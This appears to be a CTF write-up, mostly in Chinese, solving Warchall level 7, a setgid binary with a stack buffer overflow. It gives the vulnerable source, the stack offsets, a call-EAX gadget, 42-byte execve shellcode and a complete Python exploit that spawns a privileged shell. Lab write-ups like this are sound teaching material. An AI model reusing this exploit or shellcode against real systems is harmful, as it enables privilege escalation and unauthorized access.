Warchall level 7 — 32-bit setgid ELF 栈溢出。ASLR enabled 但 NX
disabled、无 PIE、无 canary,非常适合 ret2reg + shellcode 经典打法。利用
memcpy 返回后 EAX 残留 vulnbuf 地址的特性,通过
call *%eax gadget 跳转到栈上 shellcode 获取 setgid
shell。
1 2
| ssh -p 19198 level07@warchall.net /home/level/07_tropical_fruits/
|
Challenge
32-bit setgid ELF binary,源码由 hint() 函数泄露(调用
printf 打印 "Need to bypass aslr" 后
exit(0)):
1 2 3 4 5 6 7 8 9 10 11 12 13
| void hint() { printf("Need to bypass aslr\n"); exit(0); } void vulnfunc(char *input) { char vulnbuf[300]; memcpy(vulnbuf, input, strlen(input)); } int main(int argc, char *argv[]) { if(argc > 1) vulnfunc(argv[1]); else printf("%s <input>\n", argv[0]); return 0; }
|
保护: setgid level07, NX disabled (GNU_STACK RWE), No PIE, No canary,
ASLR enabled. libc: glibc 2.35.
Solution
漏洞:
memcpy(vulnbuf, input, strlen(input))
无边界检查,栈溢出。
Stack Layout
1 2 3 4
| sub esp, 0x148 (328 bytes) vulnbuf at ebp - 0x134 (ebp - 308) return addr at ebp + 4 Offset to return address: 308 + 4 = 312 bytes
|
关键 Gadget
memcpy 返回后 EAX = vulnbuf 地址(即栈上 shellcode
地址),因此可以用 call *%eax 直接跳转到 shellcode。
1
| 0x080484cf: call *%eax ← 跳转到 shellcode
|
Shellcode
Null-free, 42 bytes:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ; setregid(507, 507) — 继承 setgid 权限 xor eax, eax xor ebx, ebx xor ecx, ecx mov bx, 0x1fb ; 507 mov cx, 0x1fb ; 507 mov al, 0x47 ; setregid32 int 0x80
; execve("/bin//sh", ["/bin//sh", NULL], NULL) xor eax, eax push eax push "//sh" push "/bin" mov ebx, esp push eax push ebx mov ecx, esp cdq ; edx = 0 mov al, 0x0b ; execve int 0x80
|
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| """Warchall Level 7 — Tropical Fruits exploit."""
import struct import subprocess
shellcode = ( b"\x31\xc0\x31\xdb\x31\xc9" b"\x66\xbb\xfb\x01\x66\xb9\xfb\x01" b"\xb0\x47\xcd\x80" b"\x31\xc0\x50\x68\x2f\x2f\x73\x68" b"\x68\x2f\x62\x69\x6e\x89\xe3" b"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" )
OFFSET = 312 CALL_EAX = struct.pack("<I", 0x080484cf)
payload = shellcode + b"\x90" * (OFFSET - len(shellcode)) + CALL_EAX
subprocess.run( ["/home/level/07_tropical_fruits/level07", payload], env={"PWD": "/home/level/07_tropical_fruits"}, )
|
执行后交互式 shell 继承 setgid level07,可读 solution.txt。
LetsGetItOn!